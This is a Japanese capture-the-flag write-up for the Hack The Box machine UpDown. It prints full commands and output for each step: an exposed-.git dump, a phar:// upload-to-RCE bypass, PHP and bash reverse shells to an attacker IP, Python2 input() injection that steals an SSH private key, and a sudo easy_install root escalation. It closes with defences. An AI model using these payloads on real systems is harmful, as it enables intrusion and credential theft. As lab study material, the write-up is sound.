Hack The BoxのWriteup(UpDown)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: UpDown — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp ssh, 80/tcp http
.git 露出
git-dumper で .htaccess/checker.php 入手
Special-Devヘッダー
dev.siteisup.htb (beta) へアクセス
phar:// アップロードRCE
ZIP+拡張子偽装で checker.php ブラックリスト回避
SUID Python2 input()
__import__(‘os’).system(…) 注入
developer シェル
user.txt ✓
sudo NOPASSWD easy_install
GTFOBins(特権を drop しない)
root.txt ✓

ポートスキャン(全ポート)

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.227.227
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 136.69 seconds

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80 10.129.227.227
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Webサイトの確認 & hosts登録

BASH
curl -sI http://10.129.227.227
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
BASH
echo "10.129.227.227 siteisup.htb" | sudo tee -a /etc/hosts
ℹ️
トップページのタイトル・フッターに siteisup.htb というドメイン名が確認できたため、 /etc/hosts に追記してバーチャルホスト単位でアクセスできるようにする。 トップページは URL チェックフォーム(”Is My Website UP ?”)で、Debug モードを有効にすると サーバー側が発行した生の HTTP リクエスト/レスポンスをそのままエコーする挙動が確認できる。
PHASE 2

.git 露出調査 — ヘッダー制限バイパスの発見

ディレクトリ列挙 & .git 露出確認

BASH
gobuster dir -u http://siteisup.htb/ -w /usr/share/wordlists/dirbuster/common.txt
gobuster dir -u http://siteisup.htb/dev -w /usr/share/wordlists/dirbuster/common.txt
RESULT
/dev                  (Status: 301)
/index.php            (Status: 200)
--- /dev 配下を再列挙 ---
/.git/HEAD            (Status: 200) [Size: 21]
/.htaccess            (Status: 403)
BASH
curl -s -o /dev/null -w "%{http_code}\n" http://siteisup.htb/dev/.git/HEAD
RESULT
200
🚨
重要発見: /dev/.git/ ディレクトリが外部から読み取り可能な状態で露出している。 git-dumper でリポジトリ全体を復元できる。

git-dumper でリポジトリを復元

BASH
git-dumper http://siteisup.htb/dev/.git dev_git_dump
RESULT
[-] Fetching http://siteisup.htb/dev/.git/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40c...pack [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 6 paths from the index
BASH
ls -la dev_git_dump/
RESULT
.htaccess  admin.php  changelog.txt  checker.php  index.php  stylesheet.css

.htaccess — 隠しヘッダー要件の発見

BASH
cat dev_git_dump/.htaccess
RESULT
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
/dev ディレクトリへのアクセスには HTTP ヘッダー Special-Dev: only4dev が必須であることが判明。このヘッダーを付与すれば 403 を回避して開発用サブサイトへアクセスできる。

Special-Dev ヘッダーで dev.siteisup.htb (beta) にアクセス

BASH
echo "10.129.227.227 dev.siteisup.htb" | sudo tee -a /etc/hosts

curl -s -o /dev/null -w "%{http_code}\n" http://dev.siteisup.htb/
curl -s -o /dev/null -w "%{http_code}\n" -H "Special-Dev: only4dev" http://dev.siteisup.htb/
RESULT
ヘッダーなし: 403
ヘッダーあり: 200  ← "Is my Website up ? (beta version)" 表示
ℹ️
beta サイトはトップページと違い、URLではなくファイルアップロードで チェック対象サイト一覧を渡す仕様になっている(checker.php)。
PHASE 3

アップロード機能解析 — checker.php ブラックリスト & phar:// トリガー

checker.php のアップロードロジック確認

BASH
cat dev_git_dump/checker.php
RESULT (抜粋)
if ($_FILES['file']['size'] > 10000) { die("File too large!"); }
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
    die("Extension not allowed!");
}
$dir = "uploads/".md5(time())."/";
...
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
...
@unlink($final_path);  // チェック完了後に削除される
🚨
脆弱性: .php/.zip 等はブラックリストされているが、 .phar は見落とされている。ZIP を作成して .txt に リネームしてアップロードすれば拡張子チェックを回避しつつ、phar:// ラッパー経由で アーカイブ内の PHP を実行できる。アップロード先ディレクトリ名は md5(time()) であり レスポンスの Date ヘッダーから逆算できる。アップロードされたファイルは処理完了後に unlink() されるため、時間との勝負になる点にも注意。

phpinfo() ペイロードを ZIP+拡張子偽装でアップロード

BASH
echo '<?php phpinfo(); ?>' > info.php
zip -j info.zip info.php
mv info.zip info.txt

curl -s -D - -o /dev/null \
  -F "file=@info.txt;type=text/plain" -F "check=1" \
  -H "Special-Dev: only4dev" http://dev.siteisup.htb/
RESULT
HTTP/1.0 500 Internal Server Error
Date: Mon, 24 Aug 2026 15:32:27 GMT

アップロード先ディレクトリの特定(Date ヘッダーから逆算)

BASH
EPOCH=$(date -d "Mon, 24 Aug 2026 15:32:27 GMT" +%s)
for d in -3 -2 -1 0 1 2 3; do
  CAND=$(echo -n "$((EPOCH+d))" | md5sum | cut -d' ' -f1)
  curl -s -o /dev/null -w "delta=$d %{http_code}\n" \
    -H "Special-Dev: only4dev" "http://dev.siteisup.htb/uploads/$CAND/info.txt"
done
RESULT
delta=-3 404
delta=-2 404
delta=-1 404
delta=0  200   ← uploads/cd578700c9618bfffa747a8e75f728a5/info.txt
delta=1  404
delta=2  404
delta=3  404
ℹ️
レスポンスの Date ヘッダーはサーバー処理完了時点のものなので、 md5(time()) 計算時点との誤差(±数秒)を考慮して複数候補を総当たりする。

phar:// ラッパーでトリガー & PHP 実行環境の確認

BASH
curl -s -H "Special-Dev: only4dev" \
  "http://dev.siteisup.htb/?page=phar://uploads/cd578700c9618bfffa747a8e75f728a5/info.txt/info"
RESULT (phpinfo 抜粋)
PHP Version 8.0.20
System: Linux updown 5.4.0-122-generic ... x86_64
disable_functions: system, exec, shell_exec, popen, passthru,
  pcntl_*, stream_socket_client, fsockopen, dl, symlink, ...proc_open は disable_functions に含まれていない
RCE 成立を確認。page=phar://uploads/<dir>/<txt名>/<内部ファイル名(拡張子なし)> で ZIP アーカイブ内の PHP が実行される。system()/exec()/shell_exec()/popen() は disable_functions で無効化されているが、proc_open() は有効なため、 これを使ってリバースシェルを確立する。
PHASE 4

エクスプロイト実行 & user.txt 取得

proc_open ベースのリバースシェルペイロード作成

PYTHON (rev.php)
<?php
$descriptorspec = array(
    0 => array('pipe', 'r'),
    1 => array('pipe', 'w'),
    2 => array('pipe', 'a')
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.15.201/19050 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
?>
BASH
zip -j rev.zip rev.php
mv rev.zip rev.txt
curl -s -D - -o /dev/null -F "file=@rev.txt;type=text/plain" -F "check=1" \
  -H "Special-Dev: only4dev" http://dev.siteisup.htb/
# → Date ヘッダーから uploads/e3fd488a8dccb63fd7f82395696f4aec/ を特定(3-3 と同じ手順)

リスナー起動 & phar:// トリガーでシェル獲得

BASH
# ターミナル1
nc -lnvp 19050

# ターミナル2
curl -s -H "Special-Dev: only4dev" \
  "http://dev.siteisup.htb/?page=phar://uploads/e3fd488a8dccb63fd7f82395696f4aec/rev.txt/rev"
RESULT (nc リスナー側)
listening on [any] 19050 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.227.227] 51460
bash: cannot set terminal process group (895): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data シェル取得成功!

SUID バイナリの発見

BASH
cat /etc/passwd | grep -v -e false -e nologin -e sync
cd /home/developer/dev && ls -l
RESULT
root:x:0:0:root:/root:/bin/bash
developer:x:1002:1002::/home/developer:/bin/bash

total 24
-rwsr-x--- 1 developer www-data 16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data   154 Jun 22  2022 siteisup_test.py
ℹ️
siteisup_test.py のソース: input() でURLを受け取り requests.get(url) するだけの Python2 スクリプト。siteisup は これを埋め込んだ SUID (developer 所有) バイナリ。Python2 の input() は 受け取った文字列を そのまま eval() 相当で評価するという重大な既知の危険仕様がある。

Python2 input() コードインジェクション → SSH 秘密鍵窃取

BASH
echo "__import__('os').system('cat /home/developer/.ssh/id_rsa > /tmp/.mk_key; chmod 644 /tmp/.mk_key')" \
  | /home/developer/dev/siteisup >/dev/null 2>&1
cat /tmp/.mk_key 2>/dev/null
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmvB40TWM8eu0n6FOzixTA1pQ39SpwYyrYCjKrDtp8g5E05EEcJw/
S1qi9PFoNvzkt7Uy3++6xDd95ugAdtuRL7qzA03xSNkqnt2HgjKAPOr6ctIvMDph8JeBF2
... (省略) ...
N4jA+ppn1+3e0AAAASZGV2ZWxvcGVyQHNpdGVpc3VwAQ==
-----END OPENSSH PRIVATE KEY-----
⚠️
input() がURLの代わりに __import__('os').system(...) という Python 式を受け取り、そのまま developer 権限(SUID)で実行してしまう。 これにより developer の SSH 秘密鍵を /tmp にコピーして読み出す。

SSH ログイン & user.txt 取得

BASH
chmod 600 developer_id_rsa
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa \
  -i developer_id_rsa developer@10.129.227.227 "id; cat ~/user.txt"
RESULT
uid=1002(developer) gid=1002(developer) groups=1002(developer)
b79b23fa201bfaa2d04da7fcc4e2714c
user.txt — developer@updown
b79b23fa201bfaa2d04da7fcc4e2714c
PHASE 5

権限昇格の下調べ — sudo 権限の確認

sudo -l で developer の sudo 権限を確認

BASH
ssh -i developer_id_rsa developer@10.129.227.227 "sudo -l"
RESULT
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:...

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install
🚨
重要発見: developer はパスワードなしで easy_installsudo 実行できる。GTFOBins によれば、easy_install(廃止予定の Python パッケージインストーラ)は sudo 経由で 実行されても実効権限を drop しないため、任意コードを root として実行できる。
PHASE 6

sudo easy_install (GTFOBins) → root.txt

easy_install に読ませる悪意ある setup.py を用意

NOTE
GTFOBins の PoC は対話的な PoC (`sh <$(tty) >$(tty) 2>$(tty)`) を前提としているが、
本検証では SSH のワンショットコマンド経由で完結させるため、setup.py に
非対話のリバースシェル (os.system 経由) を仕込む形に変更している。
BASH
ssh -i developer_id_rsa developer@10.129.227.227 \
  'TF=$(mktemp -d) && \
   echo "import os; os.system(\"bash -c \\\"bash -i >& /dev/tcp/10.10.15.201/19053 0>&1\\\"\")" > $TF/setup.py && \
   sudo easy_install $TF'

昇格用リスナーで root シェルを確立

BASH
# 事前に別ターミナルでリスナーを起動しておく
nc -lnvp 19053
RESULT (ssh側)
Processing tmp.cJRJTYDXvd
Writing /tmp/tmp.cJRJTYDXvd/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.cJRJTYDXvd/egg-dist-tmp-uNxOHa
WARNING: The easy_install command is deprecated and will be removed in a future version.
RESULT (nc リスナー側)
listening on [any] 19053 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.227.227] 40382
bash: cannot set terminal process group (2505): Inappropriate ioctl for device
bash: no job control in this shell
root@updown:/tmp/tmp.cJRJTYDXvd# id
uid=0(root) gid=0(root) groups=0(root)
root 昇格成功! sudo easy_install は setup.py の bdist_egg ビルド処理中に os.system() を実行し、これが root の実効権限のまま動作するためリバースシェルが root として確立される。

root.txt 取得

BASH
root@updown:/tmp/tmp.cJRJTYDXvd# cat /root/root.txt
RESULT
4fa8d63de41349514f54d969f9f9865f
root.txt — root@updown
4fa8d63de41349514f54d969f9f9865f
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — developer@updown
b79b23fa201bfaa2d04da7fcc4e2714c
root.txt — root@updown
4fa8d63de41349514f54d969f9f9865f

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
.git 露出 siteisup.htb/dev/.git ソースコード・設定漏洩(隠しヘッダー要件の発覚) Medium git-dumper で復元した .htaccess から Special-Dev ヘッダー要件を特定し、非公開の dev vhost へアクセス
拡張子ブラックリスト不備 + phar:// LFI-to-RCE checker.php アップロード機能 リモートコード実行(www-data) Critical .phar 拡張子の見落としを ZIP+.txt リネームで悪用し、phar:// ラッパー経由で proc_open() リバースシェル
Python2 input() コードインジェクション SUID バイナリ siteisup (developer所有) developer への権限昇格(SSH秘密鍵窃取) Critical input() が受け取った文字列を eval() 相当で評価する既知の危険仕様を悪用し os.system() を注入
sudo easy_install(特権を drop しない) /usr/local/bin/easy_install (NOPASSWD) 権限昇格(root) High GTFOBins: easy_install は sudo 経由でも実効権限を落とさないため setup.py 経由で任意コード実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン22/80、”Is my Website up ?” 検出
2.git露出調査gobuster + git-dumperSpecial-Dev ヘッダー要件、checker.php ソース
3アップロード解析phpinfo() 検証 + Date ヘッダー逆算proc_open() が唯一有効なコード実行手段と判明
4エクスプロイトZIP偽装アップロード + phar:// RCE + SUID input()注入user.txt 取得(developer シェル + SSH鍵)
5権限調査sudo -lNOPASSWD easy_install を確認
6権限昇格GTFOBins easy_installroot.txt 取得(root シェル)

学んだ教訓 & 防御策

問題点防御策
本番サーバー上に .git ディレクトリがデプロイされ外部から読み取り可能だった デプロイパイプラインで .git をドキュメントルート外に置くか、Web サーバー設定で明示的にブロックする。CI/CD で .git 露出を検査するステップを追加する。
ファイルアップロード機能の拡張子ブラックリストに .phar が含まれていなかった ブラックリストではなくホワイトリスト方式で許可拡張子を管理する。アップロードディレクトリを Web 実行不可(PHP実行無効)に設定する。
SUID バイナリが Python2 の危険な input() 関数を使用していた Python2 のサポート終了に伴い Python3 へ移行する(Python3 の input() は評価しない安全な実装)。SUID バイナリには外部入力を一切信頼しない設計を徹底する。
非管理者ユーザーが sudo 経由で easy_install を無制限に実行できた GTFOBins に該当するバイナリ(easy_install, pip, python 等)を sudoers に安易に登録しない。どうしても必要な場合は実行可能な引数を厳密に制限する。
HackTheBox: UpDown | 完全攻略レポート